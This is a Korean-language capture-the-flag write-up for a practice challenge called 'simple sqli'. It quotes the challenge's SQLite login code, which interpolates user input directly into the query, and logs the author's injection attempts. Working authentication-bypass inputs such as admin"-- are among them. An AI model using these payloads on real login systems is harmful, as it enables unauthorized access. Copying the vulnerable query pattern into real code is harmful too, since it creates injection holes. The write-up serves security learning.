simple sqli
date : 2022-08-29
로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
문제파일를 다운로드 받아보면 코드에 눈에 띄는 부분 흰트가 있었다.
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
- sqlite3 데이터 베이스라는 점
- 테이블이 userid, userpassword 라는 컬럼으로 구성이 되어 있는 것.
- 계정이 guest: guest 와 admin 계정이 있다는 것
- admin 계정이 있는데, 어떠한 값으로 있다는 것. <- admin으로 로그인을 한다면 정답을 찾을 수 있다.
id : guest, password : guest 로 손 쉽게 로그인이 가능했고, admin 으로 계정로그인은 당연하게 실패하였다.
여기서 SQL injection의 취약점은 코드에서 찾아 볼 수 있었다.
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"') 에 ' 과 " 가 텍스트로 되어있는 것.
나는 접근하는 방법을 3가지를 생각했다.
0. ' 과 " 가 텍스트로 되어있으니 ' 와 " 를 무효화 시켜 쿼리를 완성 시키지 못하게 할 방법
- userid가 guest 라면 admin으로 우회할 방법?!
- and userpassword="패스워드" 부분을 주석시켜버리는 방법
접근 방법들 기록
해당 부분은 낙서 비슷하게 인젝션을 하면서 대략적인 기록들을 한 것 들
id : 'guest' and 'admin'
password: guest
id: guest" and 'admin'
password: guest
결과 : 500 에러
id: guest"or "admin
password: guest
결과 : guest 로 로그인
여기서 "" 를 이용하면 뭔가 방법이 있을 것 이라고 판단함.
id: guest"or "admin""
password: guest
결과 : guest로 로그인
id: guest"and "admin""
password: guest
결과 : guest로 로그인
id: guest" and "admin'
password: guest
결과 : wrong
id: admin"--
password : guest
결과 : 성공
select * from users where userid=" admin" -- and userpassword="{userpassword}"
admin"-- 를 입력하여 뒷 부분 쿼리를 전부 주석처리 하여 성공
id: guest"or "admin
password: guest
결과 : guest로 로그인
guest" or "admin 으로 접근한 방법에서 guest로 로그인이 된다는 것에서 고민을 하였다.
게스트로 로그인이 되었다면 ?!
만약에 admin을 넣어보면 어떨까?
id : admin" or "guest
password : admin" or "guest
결과: 성공
이유를 생각해보면 admin이라는 계정이 있고, guest라는 계정도 있다.
쿼리가 그럼 아래와 같다.
select * from users where userid="admin" or "guest" and userpassword="guest" 가 되는데, 한국어로 다시 보자면 아래와 같다.
유저 중 admin이 있거나 guest 가 있으며(and), 유저패스워드는 guest 이다.
useid는 admin과 guest 가 있으니 or 로 true 이므로 admin으로 로그인이 가능하다.
여기서 password를 123나 아무값으로 넣어도 로그인이되는 것 을 확인 할 수 있다.
댓글